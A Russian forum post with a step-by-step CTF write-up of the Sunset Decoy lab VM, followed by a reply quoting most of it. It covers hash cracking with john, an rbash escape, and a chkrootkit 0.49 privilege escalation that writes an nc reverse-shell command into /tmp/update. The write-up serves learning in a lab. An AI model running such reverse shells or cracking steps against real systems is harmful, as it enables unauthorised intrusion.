• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Sunset Decoy

Qulan

Red Team
06.12.2020
171
512
BIT
365
Приветствую!
Как и обещал выкладываю свой врайтап по машине Offensive Secutity - Sunset Decoy. Я постараюсь максимально разжевать каждый шаг и в конечном счете прояснить почему получен ROOT! Забегая вперед скажу, что осилить бокс самостоятельно мне не удалось и как я теперь понимаю по причине не опытности исследователя, хотя должными знаниями я обладаю.

Sunset Decoy
На сайте OffSec представленна как уровень сложности Easy, но сам автор на vulhub оценивает ее как Easy/Intermediate. То есть что-то между легким и средним уровнем.
Я использовал образ VirtualBox, так как OffSec имеет ограничение по времени на соединение.

Итак давайте глядеть что за зверь...

После того как я развернул коробку, сканирую сеть с 24-й масокй на предмет поднятых хостов, чтоб определить адресс машины.
nmap -sn 192.168.1.1/24 (флаг -sn говорит о том, что мы просто пингуем каждый адрес на предмет жив/мертв)

1614688287000.png


Следующим шагом проводим стандартное сканирование на определение открытых портов, сервисов на них, версии ОС и по возможности запустим необходимые скрипты:
nmap -A -p- 192.168.1.123 -vv
На выходе получаем такую картинку:

1614688315900.png

Как видим тут нечего и заморачиваться, смело шагаем на HTTP. Там нас ждет архив.
Командой file save.zip убеждаемся что перед нами реально архив:
// Был у меня случай с одной машиной на TryHackMe, где я потерял час времени в попытке открыть *.db файл, а когда додумался его прогнать через file <filename> выяснилось что это читаемый файл в ASCII формате ... BIG fail //

1614688361800.png

Тянем его в себе:
1614688383300.png


Параллельно запускаю gobuster:

gobuster dir -u -w wordlists/dir/directory-list-2.3-medium.txt -t 60
Gobuster нечего не дал(

1614688439700.png


Тогда работаем пока с архивом. unzip save.zip и получаем защиту паролем. Воспользуюсь zip2john для преобразования файла в хеш, чтоб потом скормить john'у.
zip2john save.zip > zip_hash.txt

1614688470200.png

И следом john --wordlist=../../../wordlists/rockyou.txt zip_hash.txt

1614688494200.png


// john --show <filename> - отображает предыдущую сессию. Так как я уже ломал архив, я воспользуюсь опцией show. //

Повторяем шаг с разархивированием и получаем содержимое:

1614688523200.png


Из содержимого просматриваем все, но и так понятно что нам интересны только passwd и shadow. Если по каким-то причинам вы не знаете что это за файлы (хотя я сомнемаюсь в этом), то поясню:

passwd - хранит информацию о всех пользователях сис-мы
shadow - хранит хеши паролей этих пользователей

Более детально вы можете почитать в сети, важно что имея эти два файла мы можем попытаться вскрыть пароли. Этот процесс делится на два этапа:

1. Провести так называемый unshadow - процесс объединения информации из двух файлов в один
2. Процесс взлома


Перед этим просмотрим оба файла на предмет сбора информации:

Файл passwd:

1614688560100.png


Из важной информации для нас, тут имена пользователей системы и их вол-во. Мы имеем:

1. root - супер пользователь
2. www-data - пользователь сайта
3. 296640a3b825115a47b68fc44501c828 - пользователь сис-мы (Мне вот очень любопытно что сподвигло автора создать юзера с таким неймом)

// ОБратите внимание на shell пользвателя сис-мы. я не обратил и это стало для меня первым подвисанием //

Файл shadow:
1614688587600.png


Имеем два хеша у root'а и 296640a3b825115a47b68fc44501c828

Давайте попробуем получить пароли. Я буду делать это john'ом, так как heshcat работает с GPU, а у меня слабая видео карта. Для того чтоб все прошло гладко, мне нужно узнать какой тип шифрования используется. Я могу сделать это с помощью сервиса hash analyzer:

1614688620000.png


Тип шифрования SHA512-Crypt

1. Unshadowing

unshadow passwd shadow > unshadowed.txt

2. Cracking

john --wordlist=../../../../wordlists/rockyou.txt --format=sha512crypt unshadowed.txt

// опция --format дает возможность задать тип шифрования //
Напрягаем процессор и терпеливо ждем...
Чуть больше получаса на 2-х ядрах и я получаю пользователя.

1614688669200.png

Пробуем зайти через доступный ssh:
ssh 296640a3b825115a47b68fc44501c828@192.168.1.123

1614688713700.png

Ура мы в системе!!! Стандартный ls -la и видим:

1614688746300.png


ФЛАГГГГ!!!!
cat user.txt ии...

1614688774300.png

less user.txt ...
1614688795200.png

WTF!!!!
vim .. nano... python..

1614688815600.png


И вот тут я понял, что я не понимаю что происходит. Немного поругался и сел гуглить. Вообщем чтоб не засрать все скринами поясню, rbash это оболочка с ограничениями и используется админами сис-мы для препятствования угрозам. То есть создали юзера, дали ему ровно столько сколько нужно, ограничили его домашним каталогом и все.
Дальше час времени ушел на то, чтоб понять как это можно обойти. Вариантов в сети масса, вы можете ознакомится с ними самомтоятельно. В моем случае помогла смена сессии ssh с дополнительными опциями.

Выхожу и сново пытаюсь войти:
ssh -t 296640a3b825115a47b68fc44501c828@192.168.1.123 “bash”

// Флаг -t -Принудительное выделение псевдотерминала. Это можно использовать для выполнения
произвольных экранных программ на удаленном компьютере //


Входим и получаем bash в качестве оболочки. cat user.txt ...

1614688851000.png

Что за хрень творится???? Еще 15 минут поругался и снова гуглить. Вся эта ситуация дала возможность прочувствовать себя безпомощьным и очень тупым. Я не учил такого... Я вообще не знал что такое может быть. Вообщем выругался от души, закурил трубку и думаю. Если команда не найдена, значит ли это, что ее нет вообще? конечно же нет. Кто в здавом уме будет все грохать. Поэтому я решил обратиться напрямую через полный путь.
1614688873000.png

И я беру флаг пользователя. Уже позже, поработав над машиной, я нашел иной способ решения.
Смотрим $PATH : echo $PATH
1614688998000.png

Ага, вот где трабл... Я ограничен домашним каталогом. Переназначим переменую $PATH:
1614689019100.png


Теперь команды работают нормально. Фух... юзер взят! Время повышения прав.
Повышение прав может быть горизонтальным и вертикальным:

1. Горизонтальное повышение - это когда мы имеем юзера и стараемся взять другого с более высокими правами или входящего в группу с более высокими правами.
2. Вертикальное повышение - это когда мы имея юзера сразу пытаемся выйти на root

В нашем случае будет вертикальное повышение прав.

1. Сразу проверяем можем ли мы использовать команду sudo
sudo -l - покажет что мы вообще можем запускать от имени root

1614689057200.png

И так варианты в sudo отпадают.

2. Проверяем на уязвимость /etc/passwd и /etc/shadow, возможно удастся создать нового root'а:

ls -l /etc/passwd : -rw-r--r-- 1 root root 1807 Jun 27 2020 /etc/passwd
ls -l /etc/shadow : -rw-r----- 1 root shadow 1111 Jul 7 2020 /etc/shadow

И для записи нечего не открыто.

3. Смотрим cron:
cat /etc/crontab
1614689097600.png

Топаем смотреть директории /etc/cron.*:

1614689120500.png

И снова нечего интересного... Ок, попробуем найти уязвимость SUID/SGID file execution.

4. SUID/SGID

SUID/SGID file execution - это уязвимости связанные с возможностью запуска файла или сервиса от имени владельца.
Это полная команда поиска всех suid/sgid файлов:
// Я специально не разбираю ее, оставив вам возможность для самостоятельного разбора (Не поленитесь!)//

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

1614689166800.png


Чтобы понять как и что можно использовать, отправляю вас на gtfobins.github.io

Работа с файлами sgid/suid относится к так называемой технике Shell Escaping, когда мы через программу запущенную от имени другого пользователя, пытаемся получить его оболочку. В данной машине эта техника не применяется!

5. И так я исчерпал все быстрые методы (мне известные) и пришло время для исследования системы...

Из домашнего каталога пользователя:
ls -la

1614689217100.png

Тут сразу отмечаю себе все что заинтересовало:

.bash_history - обязательно смотрим на предмет ошибки пользователя в синтаксисе команды при регистрации или подключении к чему нибуть
honeypot.decoy - файл принадлежащий root с возможностью исполнения другими пользователями
honeypot.decoy.cpp - по всей видимости исходник, но закрыт для чтения
SV-502 - директория

.bash_history


На этой машине нечего не найдено, но все же стоит пояснить для тех кто не знаком. В этом файле хранится информации о введеных пользователем командах. Допустим юзер подключается к ssh:

1. ssh username@IP
2. input password
3. connection

Так как при вводе пароля у нас есть эхо и мы не видим что вводем, то история этого сохранить не может. Но если юзер допустит ошибку в синтаксисе, например:

ssh usernameIP - пропустил @ и на автомате не смотря в экран вбивает пароль, в истории оболочки это будет выглядеть так:

• ssh usernameIP
• какая-то ошибка
• password1234
• какая-то ошибка

И вуаля мы можем получить пароль... Но как я и сказал тут этого нет. Едем дальше

honeypot.decoy

Запускаю ./honeypot.decoy

1614689266600.png


Тут заинтересовал пункт 7 “Оставить заметку”, жму и вижу:
1614689286100.png


Запустился vim !

Вау... А я же понимаю, что если владельцем honeypot.decoy есть root, то и все что будет выполнено ханипотом должно быть выполнено от root. И я делаю вывод что vim запущен от рута!!! Применяю технику escaping shell:
:!sh ииии...

1614689336900.png

НИЧЕГО! Я юзер... Ну да, глупо. Я же не запускаю ханипот от рута, с фига ли ему запускать vim с правами супер-юзера... Ха. глупость...

SV-502 - директория

cd SV-502/
ls -la


1614689385900.png


Директория logs, владелец root. Топаю туда:
cd logs/

1614689411100.png

cat log.txt

1614689427600.png


Угу... лог утилиты по отслеживанию процессов, листаю, читаю...
Из примечательного только это. Видим что был распакован некий chkrootkit-0.49.

1614689454700.png


Само название заставляет идти в гугл

1614689493700.png


Вот что я усвоил за 3 месяца обучения, так это то, что если ты нарыл какой-то софт, иди на exploit-db ))

1614689527600.png


Супер, теперь есть понимание как тут берется root. Читаем

1614689549400.png

Отлично, прекрасный мануал. Все понятно осталось дело за малым (Это я так думал!)

1. Стряпаем файл update

Что мы туда положем? Конечно reverse shell

echo “/usr/bin/nc 192.168.1.6 1234 -e /bin/sh” > update (Вы ведь помните что мы ограничены в системе?)

Копируем его как указано в /tmp (not mounted..), тоесть не должно быть слеша после /tmp

1614689630300.png

2. Запускаем chkrootkit (c uid 0 - он же рут)

И вот тот момент на котором я завис... Ок, где этот chkrootkit

1614689725900.png

И все, после 2 часов раздумий, я понял что у меня нет идей как решить задачу((( Ну что, пойдем смотреть врайтап. Как минимум чему-то научусь (я так думал!!!)

А вот теперь начинается самое интересное в этой машине и врайтапах!

Врайтап 1:



1614689756000.png


Ок, человек пишет что chkrootkit запускается автоматически и нам нужно лишь создать листенера у себя.
nc -lvnp 1234 и ждем-с... Правда я то помню что у cron задачь не было, но ладно ждам-с...
Вообщем пока я занимался своими делами, прошло около 25-30 минут. Прихожу и вижу вот это:

1614689793500.png

Не работает((( А человек пишет что работает. Ок, пойдем читать другой врайтап

Врайтап 2:



1614689826800.png

Тут вот совсем иной подход. Типо как все делается через ханипот. Я вообщем не растерялся и пошол гуглить на предмет honeypot'а.

Как оказалось это средство безопастности от хакеров, переаодится как Боченок меда) И тут меня осенило, блин мед сладкий.. ну типо намек иди сюда и работай вот с этим... Хахаха, не осмотрительно вышло...

Но у меня все равно есть вопросы к этому товарищу:

1. Почему мы тыцаем пункт 5 ? Ну как бы должна же быть причина
2. Почему мы запускаем pspy? Я то понимаю что отслеживать процессы будем, но для чего это вообще нам?


Ок, врайтап мягко говоря шлак, погляжу другой. Я ведь хочу понять что происходит.

Врайтап 3:

Этот товарищь вообще блин экстрасенс...

1614689874700.png


** Something got my interest at this point. Chrootkit could be the way. To be sure, I’ve runned pspy on the machine got result as photo .

Мда? Ну ок, давай и я запущу pspy

Идем сюда wildkindcc/Exploitation

Тянем к себе (Я кстати взял инструмент на вооружение) и настраиваем вэб сервер

1. У себя: python3 -m http.server 8000
2. На жертве (так как версия ОС 64-х разрядная)

1614689920700.png

Как и обычно делаем файл исполняемым командой chmod +x pspy64 и запускаем ./pspy64

И я вижу что запущен cron который выполняет script.sh. Попробую заглянуть
cd /root : bash: cd: /root/: Permission denied

Чего в принципе и стоило ожидать. Но я не вижу исполнения chkrootkit. Кстати теперь стало понятно почему я его не смог найти, он в папке /root и доступа к ней нет.

Снова читаю этот врайтап...
1614689992800.png

Что за хрень происходит? Как ты это сделал?

Ну как вы поняли я снов погнал искать врайтап... Я не буду засорять этот пост всякой хренью, скажу лишь то, что прочитал я порядка 10 врайтапов и не в одном я не нашел реального пояснения почему это работает!!! Вы легко можете это посмотреть сами )))

TRY HARDER!!!!


Я решил забить на всю эту ересь которую несут. У меня сложилось впечатление что люди и не проходили коробку самостоятельно. Уперлись, полезли почитали чужую не качественную работу. Что-то сделали и написали об этом. А понимания как не было так и нет. Должно быть стыдно!


Ок, вступаю в игру

Топаю к нашему боченку с медом))

1. Попробую отследить к чему обращается программа honenypot.decoy

Делается это командой strace

1614690065200.png


2. Пробую через file узнать что за файл

1614691920500.png

// ELF 64-bit //

Перед нами бинарник
Значит открою его через strings
strings - удаляет в выводе все нечитаемое и оставляет только читаемое

1614690120400.png

И так перед нами содержимое:
• Меню
• И команды для исполнения (сравните пункт меню с командой, все очевидно)


/usr/bin/date , /usr/bin/cal , Shutdown, Rebooiing не интересно...

А вот что-то требующее внимания:

/usr/bin/touch /dev/shm/STTY5246
The AV Scan will be launched in a minute or less.

Видим обращение к /usr/bin/touch - создание файла
/dev/shm/STTY5246 - Имя и деректория этого файла


НАПОМИНАЮ!!! Мы мурыжим второй пункт указаный в эксплуатации уязвимости указаной на exploit-db
// А то уже наверное потерялись))) //

Ок, я иду в директорию в которой создается файл STTY5246

cd /dev/shm - это хранилище использует оперативную память. То есть не хранит на HDD(SDD) а в операционой памяти.

1614690166200.png

ПУСТО!!!!

Хорошо, для удобства я открою вторую сессию ssh, чтоб поглядеть создастся ли файл и каким он будет

1614690193000.png


Файл создан и он пустой. И что дальше ???

ВНИМАНИЕ!!! Запускаем pspy64 для мониторинга процессов

1614690223700.png

Вот такая жесть происходит в процессах... chkrootkit запускается постоянно. Хммм!!!!

Пора поставить листенера

1614690257500.png

Вот он заветный)))

1614690283700.png

Хорошо, коробка пройдена хоть и не без помощи Теперь пришла пора разобраться что же тут происходило и почему все заработало.
Так как у нас есть рут, мы можем посмотреть то, чего раньше не могли.

РЕЗЮМЕ

Давайте вспомним что нам нужно было сделать для эксплуатации уязвимости chkrootkit

1. Мы должны были создать исполняемый файл update и разместить его в директории /tmp
2. Запустить chkrootkit от имени root

С первым пунктом проблем не возникло, а вот дальше жесть жестокая.

Давайте уже под рутом посмотрим исходный код нашего ханипота.
1614690331000.png

В принципе нечего что мы не знали раньше.
Ок, у нас есть cron который запускал script.sh

1614690373400.png


Разбираемся

FILE=/dev/shm/STTY5246 - задаем переменную $FILE

if test -f “$FILE”; - test -f выполняет проверку на наличие файла.

Получается такая логика:

Если файл STTY5246 существует, то запустить chkrootkit, если нет, то выдать сообщение. Вот такая вот подколка. Не важно пустой он или нет, важно чтоб он был с таким именем и в конкретной директории!

Выводы

Чему мы научились на этой коробке?

1. Базовые принципы дешифрования файлов
2. Обход ограничений в оболочке
3. Научились мониторить запущенные сервисы
4. Смогли разобраться в логике приложения
5. Поняли что врайтапы бываю разные и крайне важно разобраться как все устроено, даже если заветный root получен

Вообщем до этой машины я брал боксы на TryHackMe и HackMyVM, нечего подобного проходить не приходилось. Это вот совсем не тот Easy level к которому привык. Машина реально приближена к реальности, все что я учил идеально ложиться на нее. Жаль конечно что сдался рано, реально имел знания и навыки чтоб финишировать ее самостоятельно. Но пусть это будет уроком для меня)))

Вопрос
Кто опытней скажите, почему я не увидел задания cron на исполнение script.sh? Ведь все вроде переглядел, а тут бац и cron задача. Что я упускаю или чего пока не знаю?
Спасибо!!!
 
Последнее редактирование:

v1gman

Green Team
31.07.2020
495
523
BIT
23
Приветствую!
Как и обещал выкладываю свой врайтап по машине Offensive Secutity - Sunset Decoy. Я постараюсь максимально разжевать каждый шаг и в конечном счете прояснить почему получен ROOT! Забегая вперед скажу, что осилить бокс самостоятельно мне не удалось и как я теперь понимаю по причине не опытности исследователя, хотя должными знаниями я обладаю.

Sunset Decoy
На сайте OffSec представленна как уровень сложности Easy, но сам автор на vulhub оценивает ее как Easy/Intermediate. То есть что-то между легким и средним уровнем.
Я использовал образ VirtualBox, так как OffSec имеет ограничение по времени на соединение.

Итак давайте глядеть что за зверь...

После того как я развернул коробку, сканирую сеть с 24-й масокй на предмет поднятых хостов, чтоб определить адресс машины.
nmap -sn 192.168.1.1/24 (флаг -sn говорит о том, что мы просто пингуем каждый адрес на предмет жив/мертв)

Посмотреть вложение 47437

Следующим шагом проводим стандартное сканирование на определение открытых портов, сервисов на них, версии ОС и по возможности запустим необходимые скрипты:
nmap -A -p- 192.168.1.123 -vv
На выходе получаем такую картинку:

Посмотреть вложение 47438
Как видим тут нечего и заморачиваться, смело шагаем на HTTP. Там нас ждет архив.
Командой file save.zip убеждаемся что перед нами реально архив:
// Был у меня случай с одной машиной на TryHackMe, где я потерял час времени в попытке открыть *.db файл, а когда додумался его прогнать через file <filename> выяснилось что это читаемый файл в ASCII формате ... BIG fail //

Посмотреть вложение 47439
Тянем его в себе:
Посмотреть вложение 47440

Параллельно запускаю gobuster:

gobuster dir -u -w wordlists/dir/directory-list-2.3-medium.txt -t 60
Gobuster нечего не дал(

Посмотреть вложение 47441

Тогда работаем пока с архивом. unzip save.zip и получаем защиту паролем. Воспользуюсь zip2john для преобразования файла в хеш, чтоб потом скормить john'у.
zip2john save.zip > zip_hash.txt

Посмотреть вложение 47442
И следом john --wordlist=../../../wordlists/rockyou.txt zip_hash.txt

Посмотреть вложение 47443

// john --show <filename> - отображает предыдущую сессию. Так как я уже ломал архив, я воспользуюсь опцией show. //

Повторяем шаг с разархивированием и получаем содержимое:

Посмотреть вложение 47444

Из содержимого просматриваем все, но и так понятно что нам интересны только passwd и shadow. Если по каким-то причинам вы не знаете что это за файлы (хотя я сомнемаюсь в этом), то поясню:

passwd - хранит информацию о всех пользователях сис-мы
shadow - хранит хеши паролей этих пользователей

Более детально вы можете почитать в сети, важно что имея эти два файла мы можем попытаться вскрыть пароли. Этот процесс делится на два этапа:

1. Провести так называемый unshadow - процесс объединения информации из двух файлов в один
2. Процесс взлома


Перед этим просмотрим оба файла на предмет сбора информации:

Файл passwd:

Посмотреть вложение 47445

Из важной информации для нас, тут имена пользователей системы и их вол-во. Мы имеем:

1. root - супер пользователь
2. www-data - пользователь сайта
3. 296640a3b825115a47b68fc44501c828 - пользователь сис-мы (Мне вот очень любопытно что сподвигло автора создать юзера с таким неймом)

// ОБратите внимание на shell пользвателя сис-мы. я не обратил и это стало для меня первым подвисанием //

Файл shadow:
Посмотреть вложение 47446

Имеем два хеша у root'а и 296640a3b825115a47b68fc44501c828

Давайте попробуем получить пароли. Я буду делать это john'ом, так как heshcat работает с GPU, а у меня слабая видео карта. Для того чтоб все прошло гладко, мне нужно узнать какой тип шифрования используется. Я могу сделать это с помощью сервиса hash analyzer:

Посмотреть вложение 47447

Тип шифрования SHA512-Crypt

1. Unshadowing

unshadow passwd shadow > unshadowed.txt

2. Cracking

john --wordlist=../../../../wordlists/rockyou.txt --format=sha512crypt unshadowed.txt

// опция --format дает возможность задать тип шифрования //
Напрягаем процессор и терпеливо ждем...
Чуть больше получаса на 2-х ядрах и я получаю пользователя.

Посмотреть вложение 47448
Пробуем зайти через доступный ssh:
ssh 296640a3b825115a47b68fc44501c828@192.168.1.123

Посмотреть вложение 47449
Ура мы в системе!!! Стандартный ls -la и видим:

Посмотреть вложение 47450

ФЛАГГГГ!!!!
cat user.txt ии...

Посмотреть вложение 47451
less user.txt ...
Посмотреть вложение 47452
WTF!!!!
vim .. nano... python..

Посмотреть вложение 47453

И вот тут я понял, что я не понимаю что происходит. Немного поругался и сел гуглить. Вообщем чтоб не засрать все скринами поясню, rbash это оболочка с ограничениями и используется админами сис-мы для препятствования угрозам. То есть создали юзера, дали ему ровно столько сколько нужно, ограничили его домашним каталогом и все.
Дальше час времени ушел на то, чтоб понять как это можно обойти. Вариантов в сети масса, вы можете ознакомится с ними самомтоятельно. В моем случае помогла смена сессии ssh с дополнительными опциями.

Выхожу и сново пытаюсь войти:
ssh -t 296640a3b825115a47b68fc44501c828@192.168.1.123 “bash”

// Флаг -t -Принудительное выделение псевдотерминала. Это можно использовать для выполнения
произвольных экранных программ на удаленном компьютере //


Входим и получаем bash в качестве оболочки. cat user.txt ...

Посмотреть вложение 47454
Что за хрень творится???? Еще 15 минут поругался и снова гуглить. Вся эта ситуация дала возможность прочувствовать себя безпомощьным и очень тупым. Я не учил такого... Я вообще не знал что такое может быть. Вообщем выругался от души, закурил трубку и думаю. Если команда не найдена, значит ли это, что ее нет вообще? конечно же нет. Кто в здавом уме будет все грохать. Поэтому я решил обратиться напрямую через полный путь.
Посмотреть вложение 47455
И я беру флаг пользователя. Уже позже, поработав над машиной, я нашел иной способ решения.
Смотрим $PATH : echo $PATH
Посмотреть вложение 47456
Ага, вот где трабл... Я ограничен домашним каталогом. Переназначим переменую $PATH:
Посмотреть вложение 47457

Теперь команды работают нормально. Фух... юзер взят! Время повышения прав.
Повышение прав может быть горизонтальным и вертикальным:

1. Горизонтальное повышение - это когда мы имеем юзера и стараемся взять другого с более высокими правами или входящего в группу с более высокими правами.
2. Вертикальное повышение - это когда мы имея юзера сразу пытаемся выйти на root

В нашем случае будет вертикальное повышение прав.

1. Сразу проверяем можем ли мы использовать команду sudo
sudo -l - покажет что мы вообще можем запускать от имени root

Посмотреть вложение 47458
И так варианты в sudo отпадают.

2. Проверяем на уязвимость /etc/passwd и /etc/shadow, возможно удастся создать нового root'а:

ls -l /etc/passwd : -rw-r--r-- 1 root root 1807 Jun 27 2020 /etc/passwd
ls -l /etc/shadow : -rw-r----- 1 root shadow 1111 Jul 7 2020 /etc/shadow

И для записи нечего не открыто.

3. Смотрим cron:
cat /etc/crontab
Посмотреть вложение 47459
Топаем смотреть директории /etc/cron.*:

Посмотреть вложение 47460
И снова нечего интересного... Ок, попробуем найти уязвимость SUID/SGID file execution.

4. SUID/SGID

SUID/SGID file execution - это уязвимости связанные с возможностью запуска файла или сервиса от имени владельца.
Это полная команда поиска всех suid/sgid файлов:
// Я специально не разбираю ее, оставив вам возможность для самостоятельного разбора (Не поленитесь!)//

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Посмотреть вложение 47461

Чтобы понять как и что можно использовать, отправляю вас на gtfobins.github.io

Работа с файлами sgid/suid относится к так называемой технике Shell Escaping, когда мы через программу запущенную от имени другого пользователя, пытаемся получить его оболочку. В данной машине эта техника не применяется!

5. И так я исчерпал все быстрые методы (мне известные) и пришло время для исследования системы...

Из домашнего каталога пользователя:
ls -la

Посмотреть вложение 47462
Тут сразу отмечаю себе все что заинтересовало:

.bash_history - обязательно смотрим на предмет ошибки пользователя в синтаксисе команды при регистрации или подключении к чему нибуть
honeypot.decoy - файл принадлежащий root с возможностью исполнения другими пользователями
honeypot.decoy.cpp - по всей видимости исходник, но закрыт для чтения
SV-502 - директория

.bash_history


На этой машине нечего не найдено, но все же стоит пояснить для тех кто не знаком. В этом файле хранится информации о введеных пользователем командах. Допустим юзер подключается к ssh:

1. ssh username@IP
2. input password
3. connection

Так как при вводе пароля у нас есть эхо и мы не видим что вводем, то история этого сохранить не может. Но если юзер допустит ошибку в синтаксисе, например:

ssh usernameIP - пропустил @ и на автомате не смотря в экран вбивает пароль, в истории оболочки это будет выглядеть так:

• ssh usernameIP
• какая-то ошибка
• password1234
• какая-то ошибка

И вуаля мы можем получить пароль... Но как я и сказал тут этого нет. Едем дальше

honeypot.decoy

Запускаю ./honeypot.decoy

Посмотреть вложение 47463

Тут заинтересовал пункт 7 “Оставить заметку”, жму и вижу:
Посмотреть вложение 47464

Запустился vim !

Вау... А я же понимаю, что если владельцем honeypot.decoy есть root, то и все что будет выполнено ханипотом должно быть выполнено от root. И я делаю вывод что vim запущен от рута!!! Применяю технику escaping shell:
:!sh ииии...

Посмотреть вложение 47465
НИЧЕГО! Я юзер... Ну да, глупо. Я же не запускаю ханипот от рута, с фига ли ему запускать vim с правами супер-юзера... Ха. глупость...

SV-502 - директория

cd SV-502/
ls -la


Посмотреть вложение 47466

Директория logs, владелец root. Топаю туда:
cd logs/

Посмотреть вложение 47467
cat log.txt

Посмотреть вложение 47468

Угу... лог утилиты по отслеживанию процессов, листаю, читаю...
Из примечательного только это. Видим что был распакован некий chkrootkit-0.49.

Посмотреть вложение 47469

Само название заставляет идти в гугл

Посмотреть вложение 47470

Вот что я усвоил за 3 месяца обучения, так это то, что если ты нарыл какой-то софт, иди на exploit-db ))

Посмотреть вложение 47471

Супер, теперь есть понимание как тут берется root. Читаем

Посмотреть вложение 47472
Отлично, прекрасный мануал. Все понятно осталось дело за малым (Это я так думал!)

1. Стряпаем файл update

Что мы туда положем? Конечно reverse shell

echo “/usr/bin/nc 192.168.1.6 1234 -e /bin/sh” > update (Вы ведь помните что мы ограничены в системе?)

Копируем его как указано в /tmp (not mounted..), тоесть не должно быть слеша после /tmp

Посмотреть вложение 47473
2. Запускаем chkrootkit (c uid 0 - он же рут)

И вот тот момент на котором я завис... Ок, где этот chkrootkit

Посмотреть вложение 47474
И все, после 2 часов раздумий, я понял что у меня нет идей как решить задачу((( Ну что, пойдем смотреть врайтап. Как минимум чему-то научусь (я так думал!!!)

А вот теперь начинается самое интересное в этой машине и врайтапах!

Врайтап 1:



Посмотреть вложение 47475

Ок, человек пишет что chkrootkit запускается автоматически и нам нужно лишь создать листенера у себя.
nc -lvnp 1234 и ждем-с... Правда я то помню что у cron задачь не было, но ладно ждам-с...
Вообщем пока я занимался своими делами, прошло около 25-30 минут. Прихожу и вижу вот это:

Посмотреть вложение 47476
Не работает((( А человек пишет что работает. Ок, пойдем читать другой врайтап

Врайтап 2:



Посмотреть вложение 47477
Тут вот совсем иной подход. Типо как все делается через ханипот. Я вообщем не растерялся и пошол гуглить на предмет honeypot'а.

Как оказалось это средство безопастности от хакеров, переаодится как Боченок меда) И тут меня осенило, блин мед сладкий.. ну типо намек иди сюда и работай вот с этим... Хахаха, не осмотрительно вышло...

Но у меня все равно есть вопросы к этому товарищу:

1. Почему мы тыцаем пункт 5 ? Ну как бы должна же быть причина
2. Почему мы запускаем pspy? Я то понимаю что отслеживать процессы будем, но для чего это вообще нам?


Ок, врайтап мягко говоря шлак, погляжу другой. Я ведь хочу понять что происходит.

Врайтап 3:

Этот товарищь вообще блин экстрасенс...

Посмотреть вложение 47478

** Something got my interest at this point. Chrootkit could be the way. To be sure, I’ve runned pspy on the machine got result as photo .

Мда? Ну ок, давай и я запущу pspy

Идем сюда wildkindcc/Exploitation

Тянем к себе (Я кстати взял инструмент на вооружение) и настраиваем вэб сервер

1. У себя: python3 -m http.server 8000
2. На жертве (так как версия ОС 64-х разрядная)

Посмотреть вложение 47479
Как и обычно делаем файл исполняемым командой chmod +x pspy64 и запускаем ./pspy64

И я вижу что запущен cron который выполняет script.sh. Попробую заглянуть
cd /root : bash: cd: /root/: Permission denied

Чего в принципе и стоило ожидать. Но я не вижу исполнения chkrootkit. Кстати теперь стало понятно почему я его не смог найти, он в папке /root и доступа к ней нет.

Снова читаю этот врайтап...
Посмотреть вложение 47480
Что за хрень происходит? Как ты это сделал?

Ну как вы поняли я снов погнал искать врайтап... Я не буду засорять этот пост всякой хренью, скажу лишь то, что прочитал я порядка 10 врайтапов и не в одном я не нашел реального пояснения почему это работает!!! Вы легко можете это посмотреть сами )))

TRY HARDER!!!!


Я решил забить на всю эту ересь которую несут. У меня сложилось впечатление что люди и не проходили коробку самостоятельно. Уперлись, полезли почитали чужую не качественную работу. Что-то сделали и написали об этом. А понимания как не было так и нет. Должно быть стыдно!


Ок, вступаю в игру

Топаю к нашему боченку с медом))

1. Попробую отследить к чему обращается программа honenypot.decoy

Делается это командой strace

Посмотреть вложение 47481

2. Пробую через file узнать что за файл

Посмотреть вложение 47491
// ELF 64-bit //

Перед нами бинарник
Значит открою его через strings
strings - удаляет в выводе все нечитаемое и оставляет только читаемое

Посмотреть вложение 47482
И так перед нами содержимое:
• Меню
• И команды для исполнения (сравните пункт меню с командой, все очевидно)


/usr/bin/date , /usr/bin/cal , Shutdown, Rebooiing не интересно...

А вот что-то требующее внимания:

/usr/bin/touch /dev/shm/STTY5246
The AV Scan will be launched in a minute or less.

Видим обращение к /usr/bin/touch - создание файла
/dev/shm/STTY5246 - Имя и деректория этого файла


НАПОМИНАЮ!!! Мы мурыжим второй пункт указаный в эксплуатации уязвимости указаной на exploit-db
// А то уже наверное потерялись))) //

Ок, я иду в директорию в которой создается файл STTY5246

cd /dev/shm - это хранилище использует оперативную память. То есть не хранит на HDD(SDD) а в операционой памяти.

Посмотреть вложение 47483
ПУСТО!!!!

Хорошо, для удобства я открою вторую сессию ssh, чтоб поглядеть создастся ли файл и каким он будет

Посмотреть вложение 47484

Файл создан и он пустой. И что дальше ???

ВНИМАНИЕ!!! Запускаем pspy64 для мониторинга процессов

Посмотреть вложение 47485
Вот такая жесть происходит в процессах... chkrootkit запускается постоянно. Хммм!!!!

Пора поставить листенера

Посмотреть вложение 47486
Вот он заветный)))

Посмотреть вложение 47487
Хорошо, коробка пройдена хоть и не без помощи Теперь пришла пора разобраться что же тут происходило и почему все заработало.
Так как у нас есть рут, мы можем посмотреть то, чего раньше не могли.

РЕЗЮМЕ

Давайте вспомним что нам нужно было сделать для эксплуатации уязвимости chkrootkit

1. Мы должны были создать исполняемый файл update и разместить его в директории /tmp
2. Запустить chkrootkit от имени root

С первым пунктом проблем не возникло, а вот дальше жесть жестокая.

Давайте уже под рутом посмотрим исходный код нашего ханипота.
Посмотреть вложение 47488
В принципе нечего что мы не знали раньше.
Ок, у нас есть cron который запускал script.sh

Посмотреть вложение 47489

Разбираемся

FILE=/dev/shm/STTY5246 - задаем переменную $FILE

if test -f “$FILE”; - test -f выполняет проверку на наличие файла.

Получается такая логика:

Если файл STTY5246 существует, то запустить chkrootkit, если нет, то выдать сообщение. Вот такая вот подколка. Не важно пустой он или нет, важно чтоб он был с таким именем и в конкретной директории!

Выводы

Чему мы научились на этой коробке?

1. Базовые принципы дешифрования файлов
2. Обход ограничений в оболочке
3. Научились мониторить запущенные сервисы
4. Смогли разобраться в логике приложения
5. Поняли что врайтапы бываю разные и крайне важно разобраться как все устроено, даже если заветный root получен

